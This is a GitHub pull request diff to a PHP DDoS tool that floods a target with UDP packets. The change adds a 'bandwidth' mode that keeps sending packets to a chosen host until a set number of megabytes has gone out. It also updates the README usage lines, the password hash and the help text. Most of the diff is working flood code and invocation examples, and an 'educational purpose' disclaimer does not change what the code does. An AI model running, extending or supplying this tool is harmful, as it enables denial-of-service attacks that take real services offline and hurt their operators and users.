Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

"Use X Bandwidth" Support #32

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open

"Use X Bandwidth" Support #32

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
9 commits
Select commit Hold shift + click to select a range
7d62fe5
Update README.md
May 4, 2018
0214595
Update README.md
May 4, 2018
ade6340
Update README.md
May 4, 2018
8aece57
Update README.md
May 4, 2018
6df9f68
Update README.md
May 4, 2018
02eff71
Update README.md
May 4, 2018
74ebafa
Use X Bandwidth Support
May 4, 2018
49d626d
Update backend.php
May 4, 2018
92a2104
Update index.php
May 4, 2018
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 15 additions & 13 deletions README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ Script to perform a DDoS UDP flood by PHP

From web server (visit the page):

`http://127.0.0.1/ddos.php?pass=apple&host=TARGET&port=PORT&time=SECONDS&packet=NUMBER&bytes=NUMBER`
`http://127.0.0.1/ddos.php?pass=apple&host=TARGET&port=PORT&bandwidth&time=SECONDS&packet=NUMBER&bytes=NUMBER`

From terminal:

Expand All @@ -15,17 +15,18 @@ From terminal:
## Parameters

<pre>help Print this help summary page
host REQUIRED specify IP or HOSTNAME
pass REQUIRED only if used from webserver
port OPTIONAL if not specified a random ports will be selected
time OPTIONAL seconds to keep the DDoS alive, required if packet is not used
packet OPTIONAL number of packets to send to the target, required if time is not used
bytes OPTIONAL size of the packet to send, defualt: 65000
format OPTIONAL output format, (text,json,xml), default: text
output OPTIONAL logfile, save the output to file
verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info

Note: If both time and packet are specified, only time will be used
host REQUIRED specify IP or HOSTNAME
pass REQUIRED only if used from webserver
port OPTIONAL if not specified a random ports will be selected
time OPTIONAL seconds to keep the DDoS alive, required if packet is not used
bandwidth OPTIONAL total MB to send, required if time is not used
packet OPTIONAL number of packets to send to the target, required if bandwidth is not used
bytes OPTIONAL size of the packet to send, defualt: 65000
format OPTIONAL output format, (text,json,xml), default: text
output OPTIONAL logfile, save the output to file
verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info

Note: If both time, packet and bandwidth are specified, only time will be used
</pre>

## Requirements
Expand All @@ -42,7 +43,8 @@ Special thanks:
* [@TheZer0](https://github.com/TheZ3ro) to support for coding;
* [@Smaury](https://github.com/smaury) to support for coding;
* [@moty66](https://github.com/moty66) to support for coding;
* [@AxissXs](https://github.com/AxissXs) to support for coding.
* [@AxissXs](https://github.com/AxissXs) to support for coding;
* [@Hi-ImKyle](https://github.com/Hi-ImKyle) to support for coding;

## License

Expand Down
81 changes: 55 additions & 26 deletions backend.php
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
* @author Smaury
* @author moty66
* @author AxissXs
* @author Hi-ImKyle
* @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt GPLv2
*
* This tool is written on educational purpose, please use it on your own good faith.
Expand All @@ -34,8 +35,8 @@
// Current version
define('DDOS_VERSION', '0.2' );

// MD5 Password to be used when the script is executed from the webserver, default is "apple"
define('DDOS_PASSWORD', '1f3870be274f6c49b3e31a0c6728957f' );
// MD5 Password to be used when the script is executed from the webserver, default is "default"
define('DDOS_PASSWORD', 'c21f969b5f03d33d43e04f8f136e7682' );

// Script max execution time
define('DDOS_MAX_EXECUTION_TIME',0);
Expand Down Expand Up @@ -79,16 +80,17 @@ class DDoS {
* @var array
*/
private $params = array(
'host' => '',
'port' => '',
'packet' => '',
'time' => '',
'pass' => '',
'bytes' => '',
'verbose'=> DDOS_LOG_INFO,
'format'=> 'text',
'output'=> '',
'interval'=>'1'
'host' => '',
'port' => '',
'packet' => '',
'time' => '',
'pass' => '',
'bytes' => '',
'bandwidth' => '',
'verbose'=> DDOS_LOG_INFO,
'format'=> 'text',
'output'=> '',
'interval'=> '1'
);


Expand Down Expand Up @@ -168,19 +170,20 @@ public function signature() {
public function usage() {
$this->println("EXAMPLES:");
$this->println("from terminal: php ./".basename(__FILE__)." host=TARGET port=PORT time=SECONDS packet=NUMBER bytes=NUMBER");
$this->println("from webserver: http://localhost/ddos.php?pass=PASSWORD&host=TARGET&port=PORT&time=SECONDS&packet=NUMBER&bytes=NUMBER");
$this->println("from webserver: http://localhost/index.php?pass=PASSWORD&host=TARGET&port=PORT&time=SECONDS&packet=NUMBER&bytes=NUMBER");
$this->println();
$this->println("PARAMETERS:");
$this->println("help Print this help summary page");
$this->println("host REQUIRED specify IP or HOSTNAME");
$this->println("pass REQUIRED only if used from webserver");
$this->println("port OPTIONAL if not specified a random ports will be selected");
$this->println("time OPTIONAL seconds to keep the DDoS alive, required if packet is not used");
$this->println("packet OPTIONAL number of packets to send to the target, required if time is not used");
$this->println("bytes OPTIONAL size of the packet to send, defualt: ".DDOS_DEFAULT_PACKET_SIZE);
$this->println("format OPTIONAL output format, (text,json,xml), default: text");
$this->println("output OPTIONAL logfile, save the output to file");
$this->println("verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info");
$this->println("help Print this help summary page");
$this->println("host REQUIRED specify IP or HOSTNAME");
$this->println("pass REQUIRED only if used from webserver");
$this->println("port OPTIONAL if not specified a random ports will be selected");
$this->println("time OPTIONAL seconds to keep the DDoS alive, if this isn't specified bandwidth will be checked");
$this->println("bandwith OPTIONAL max bandwitdh to use, if this isn't specified packet will be checked");
$this->println("packet OPTIONAL number of packets to send to the target, if this isn't specified the script ends");
$this->println("bytes OPTIONAL size of the packet to send, defualt: ".DDOS_DEFAULT_PACKET_SIZE);
$this->println("format OPTIONAL output format, (text,json,xml), default: text");
$this->println("output OPTIONAL logfile, save the output to file");
$this->println("verbose OPTIONAL 0: debug, 1:info, 2:notice, 3:warning, 4:error, default: info");
$this->println();
$this->println("Note: If both time and packet are specified, only time will be used");
$this->println();
Expand All @@ -198,7 +201,10 @@ private function attack(){

$packets = 0;
$message = str_repeat(DDOS_DEFAULT_BYTE, $this->get_param('bytes'));

$bytesPerMessage = $this->get_param('bytes');
$bytesSent = 0;
$maxBytesToSend = $this->get_param('bandwidth') * 1024 * 1000;

$this->log('DDos UDP flood started');

// Time based attack
Expand All @@ -217,6 +223,25 @@ private function attack(){
if(1 != $exec_time) {
$timeStr .= 's';
}

}
// Bandwidth based attack, only send so many bytes then end
else if($this->get_param('bandwidth')){

$exec_time = $this->get_param('time');


while($bytesSent < $maxBytesToSend){
$packets++;
$bytesSent += $bytesPerMessage;
$this->log('Sending packet #'.$packets,DDOS_LOG_DEBUG);
$this->udp_connect($this->get_param('host'),$this->get_param('port'),$message);
usleep($this->get_param('interval') * 100);
}
$timeStr = $exec_time. ' second';
if(1 != $exec_time) {
$timeStr .= 's';
}
}
// Packet number based attack
else {
Expand Down Expand Up @@ -250,9 +275,13 @@ private function attack(){
unset($data['packet']);
unset($data['time']);

if($exec_time == 0)
$exec_time = 1;

$data['port'] = 0 == $data['port'] ? 'Radom ports' : $data['port'];
$data['total_packets'] = $packets;
$data['total_size'] = $this->format_bytes($packets*$data['bytes']);
$data['max_size~'] = $this->format_bytes($this->get_param('bandwidth') * 1024 * 1000);
$data['duration'] = $timeStr;
$data['average'] = round($packets/$exec_time, 2);

Expand Down Expand Up @@ -366,8 +395,8 @@ private function validate_params() {
$this->set_param('bytes',DDOS_DEFAULT_PACKET_SIZE);
}

if(!is_numeric($this->get_param('time')) && !is_numeric($this->get_param('packet'))) {
$this->set_output("Missing parameter time or packet", DDOS_OUTPUT_STATUS_ERROR);
if(!is_numeric($this->get_param('time')) && !is_numeric($this->get_param('packet')) && !is_numeric($this->get_param('bandwidth'))) {
$this->set_output("Missing parameter time or packet or bandwidth", DDOS_OUTPUT_STATUS_ERROR);
$this->print_output();
exit(1);
}
Expand Down
Loading